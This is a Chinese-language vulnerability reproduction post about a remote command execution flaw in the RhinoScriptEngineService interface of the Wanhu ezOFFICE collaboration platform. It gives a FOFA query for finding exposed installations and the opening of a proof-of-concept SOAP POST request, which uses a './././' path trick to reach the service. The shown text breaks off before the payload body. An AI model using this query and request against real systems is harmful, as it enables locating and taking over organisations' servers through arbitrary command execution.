【漏洞复现】万户OA RhinoScriptEngineService 命令执行漏洞

0x01 产品简介

万户ezOFFICE协同管理平台涵盖门户自定义平台、信息知识平台管理、系统管理平台功能，它以工作流引擎为底层服务，以通讯沟通平台为交流手段，以门户自定义平台为信息推送显示平台，为用户提供集成的协同工作环境。

0x02 漏洞概述

万户ezOFFICE协同管理平台 RhinoScriptEngineService 接口存在命令执行漏洞，该漏洞可能导致攻击者获取系统权限、执行任意命令，严重威胁系统的机密性和完整性。

0x03 测绘语句

FOFA：

app="万户网络-ezOFFICE"

0x04 漏洞复现

POC：

POST /defaultroot/services/./././RhinoScriptEngineService HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version='1.0' encoding='UTF-8'?>
  <soapenv